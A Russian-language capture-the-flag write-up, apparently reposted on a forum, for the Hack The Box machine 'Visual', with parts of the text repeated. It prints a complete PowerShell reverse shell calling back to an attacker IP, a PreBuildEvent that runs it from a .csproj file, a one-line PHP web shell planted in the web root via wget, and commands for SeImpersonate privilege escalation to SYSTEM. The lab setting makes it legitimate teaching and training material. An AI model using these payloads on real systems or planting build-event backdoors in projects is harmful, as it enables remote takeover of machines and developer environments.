stihl не предоставил(а) никакой дополнительной информации.
В этом райтапе я покажу, как проникнуть на хост через бэкдор в настройках проекта Visual Studio. Затем получим сессию от имени службы веб‑сервера, активируем привилегию SeImpersonate и используем очередную «картошку» для выполнения кода от имени системы.
Наша цель — получение прав суперпользователя на машине Visual с учебной площадки Для просмотра ссылки Войдиили Зарегистрируйся. Уровень сложности машины — средний.
И запускаем сканирование портов.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер нашел только один открытый порт — 80 (веб‑сервер Apache 2.4.56), что для Windows крайне нехарактерно. Давай взглянем на сайт, с которым нам предстоит работать.
Главная страница сайта
Мы получаем лог сборки проекта.
Лог сборки
Логи веб‑сервера
На сайте указано, что используется язык разработки C# и среда Visual Studio, а значит, ожидается, что пользователь вставит адрес репозитория с проектом на C#. Давай подготовим такой репозиторий.
Поднимаем виртуалку с Windows и ставим Visual Studio. Теперь создадим простой консольный проект C# и скопируем его папку на свой основной хост.
Структура проекта Visual Studio
Теперь нужно создать Git-репозиторий. Инициализировать пустой репозиторий можно командой git init в каталоге с проектом.
Создание Git-репозитория
Теперь командой git add нужно добавить каталог проекта в репозиторий и создать коммит с любым именем, к примеру e1:
В конце обновляем информацию о сервере командой git update-server-info.
Добавление файлов в репозиторий
Когда все готово, в текущем каталоге снова запускаем веб‑сервер и отправляем адрес репозитория:
Логи веб‑сервера
Логи сборки
Сборка проекта прошла успешно, а значит, мы можем перейти к следующей стадии — получению удаленного выполнения кода.
В блоке PropertyGroup можно объявить параметры PreBuildEvent и PostBuildEvent соответственно, которые указывают, какую команду нужно выполнить в системе. Запустим листенер:
И закодируем в Base64 следующий реверс‑шелл на PowerShell.
Затем изменим файл с настройками проекта evil.csproj, добавив задания предсборки.
Содержимое файла evil.csproj
Применим изменения в репозитории, выполним коммит и отправим ссылку на репозиторий заново.
git add evil/evil.csproj
git commit -m "e2"
git update-server-info
Фиксация изменений в Git
Логи сборки
Получаем сообщение о том, что время ожидания истекло, при этом в окне листенера netcat появляется бэкконнект. Значит, у нас получилось попасть в систему!
Сессия в netcat
Флаг пользователя
Обрати внимание, что реверс‑шелл запущен из каталога с загруженными на веб‑сервер файлами. Просматривая корневой каталог веб‑сервера, находим и файлы самого сайта.
Содержимое каталога C:\xampp\htdocs
Вероятно, у этого пользователя есть привилегии на запись в каталог веб‑сервера. Проверить это очень просто, нужно лишь попытаться создать какой‑нибудь файл.
Запись файла test
Файл успешно создан, а значит, можно загрузить на сервер веб‑шелл для выполнения команд и получить новую сессию от имени пользователя службы веб‑сервера. У этой учетки будут дополнительные привилегии в сравнении с учетными записями простых пользователей.
Записывать будем самый простой веб‑шелл на PHP. На локальной машине создадим файл с таким содержимым:
Теперь запустим веб‑сервер (python3 -m http.server -p 80) и скачаем шелл на удаленный хост.
Теперь можно обращаться к веб‑шеллу через curl, к примеру выполнить команду whoami.
Результат выполнения команды whoami
Давай снова запустим листенер и выполним тот же реверс‑шелл, что использовали раньше.
Сессия пользователя Local Service
Получаем сессию в контексте Local Service и идем повышать привилегии.
Информация об учетной записи
Однако, если процесс создан службой планировщика задач, он Для просмотра ссылки Войдиили Зарегистрируйся все привилегии, которые по умолчанию связаны с учетной записью.
Для автоматической эксплуатации воспользуемся утилитой Для просмотра ссылки Войдиили Зарегистрируйся. Будем выполнять наш реверс‑шелл, но направим на другой порт.
Логи FullPowers
На новый листенер прилетает сессия, и теперь у пользователя активны все нужные нам привилегии.
Новая сессия со всеми привилегиями
В том числе включена привилегия SeImpersonatePrivilege (право «олицетворять клиента после проверки подлинности»). Вот что о ней сказано в документации:
или Зарегистрируйся. Снова выполняем реверс‑шелл и получаем сессию от имени SYSTEM.
Флаг рута
Машина захвачена!
Наша цель — получение прав суперпользователя на машине Visual с учебной площадки Для просмотра ссылки Войди
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:10.10.11.234 visual.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Сканер нашел только один открытый порт — 80 (веб‑сервер Apache 2.4.56), что для Windows крайне нехарактерно. Давай взглянем на сайт, с которым нам предстоит работать.

Точка входа
На сайте есть форма вставки URL и Git-репозиторий. Давай для теста запустим локальный веб‑сервер и посмотрим, что будет, если вставить в поле для ссылки его адрес.python3 -m http.server 80
Мы получаем лог сборки проекта.


На сайте указано, что используется язык разработки C# и среда Visual Studio, а значит, ожидается, что пользователь вставит адрес репозитория с проектом на C#. Давай подготовим такой репозиторий.
Поднимаем виртуалку с Windows и ставим Visual Studio. Теперь создадим простой консольный проект C# и скопируем его папку на свой основной хост.

Теперь нужно создать Git-репозиторий. Инициализировать пустой репозиторий можно командой git init в каталоге с проектом.

Теперь командой git add нужно добавить каталог проекта в репозиторий и создать коммит с любым именем, к примеру e1:
git commit -m e1
В конце обновляем информацию о сервере командой git update-server-info.

Когда все готово, в текущем каталоге снова запускаем веб‑сервер и отправляем адрес репозитория:
[URL unfurl="true"]http://10.10.16.91/.git[/URL]


Логи сборки
Сборка проекта прошла успешно, а значит, мы можем перейти к следующей стадии — получению удаленного выполнения кода.
Точка опоры
Существует несколько способов выполнить код, манипулируя настройками сборки проектов Visual Studio. Обычно такие трюки применяют при целевых фишинговых атаках, направленных на разработчиков. Самый простой из них — это задания перед сборкой и после.В блоке PropertyGroup можно объявить параметры PreBuildEvent и PostBuildEvent соответственно, которые указывают, какую команду нужно выполнить в системе. Запустим листенер:
rlwrap nc -nlvp 4321
И закодируем в Base64 следующий реверс‑шелл на PowerShell.
Код:
$client = New-Object System.Net.Sockets.TCPClient("10.10.16.91",4321);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + "PS " + (pwd).Path + "> ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()};
$client.Close()
<PreBuildEvent>powershell -e JABjAGwAaQ.....AApAA==</PreBuildEvent>

Применим изменения в репозитории, выполним коммит и отправим ссылку на репозиторий заново.
git add evil/evil.csproj
git commit -m "e2"
git update-server-info


Логи сборки
Получаем сообщение о том, что время ожидания истекло, при этом в окне листенера netcat появляется бэкконнект. Значит, у нас получилось попасть в систему!

Сессия в netcat
Продвижение
Сначала просматриваем домашние каталоги пользователей. Так, из обычных юзеров в системе есть только enox, с его рабочего стола и забираем первый флаг.
Обрати внимание, что реверс‑шелл запущен из каталога с загруженными на веб‑сервер файлами. Просматривая корневой каталог веб‑сервера, находим и файлы самого сайта.

Вероятно, у этого пользователя есть привилегии на запись в каталог веб‑сервера. Проверить это очень просто, нужно лишь попытаться создать какой‑нибудь файл.

Файл успешно создан, а значит, можно загрузить на сервер веб‑шелл для выполнения команд и получить новую сессию от имени пользователя службы веб‑сервера. У этой учетки будут дополнительные привилегии в сравнении с учетными записями простых пользователей.
Записывать будем самый простой веб‑шелл на PHP. На локальной машине создадим файл с таким содержимым:
<?php system($_GET['c']); ?>
Теперь запустим веб‑сервер (python3 -m http.server -p 80) и скачаем шелл на удаленный хост.
wget 10.10.16.91/shell.txt -O C:\xampp\htdocs\rcmd.php
Теперь можно обращаться к веб‑шеллу через curl, к примеру выполнить команду whoami.
curl '[URL]http://visual.htb/rcmd.php?c=whoami[/URL]'

Давай снова запустим листенер и выполним тот же реверс‑шелл, что использовали раньше.

Получаем сессию в контексте Local Service и идем повышать привилегии.
Локальное повышение привилегий
Учетные записи LOCAL SERVICE и NETWORK SERVICE настроены на запуск с ограниченным набором привилегий, чтобы при компрометации этих учетных записей атакующий не получал опасных привилегий SeAssignPrimaryToken и SeImpersonate.whoami /all

Однако, если процесс создан службой планировщика задач, он Для просмотра ссылки Войди
Для автоматической эксплуатации воспользуемся утилитой Для просмотра ссылки Войди
.\fp.exe -c "powershell -e JABjAGw..."

На новый листенер прилетает сессия, и теперь у пользователя активны все нужные нам привилегии.

В том числе включена привилегия SeImpersonatePrivilege (право «олицетворять клиента после проверки подлинности»). Вот что о ней сказано в документации:
Другими словами: эта привилегия позволяет имитировать любой токен, дескриптор которого мы сможем получить. Для этого используем последнюю на данный момент «картошку» — Для просмотра ссылки ВойдиПрисвоение пользователю права «Олицетворять клиента после проверки подлинности» разрешает программам, запущенным от имени данного пользователя, олицетворять клиента. Использование данного параметра предотвращает олицетворение неавторизованными серверами клиентов, подключающихся к этим серверам с помощью процедур RPC или именованных каналов.
.\gp.exe -cmd "powershell -e JABjAGwAaQ..."

Машина захвачена!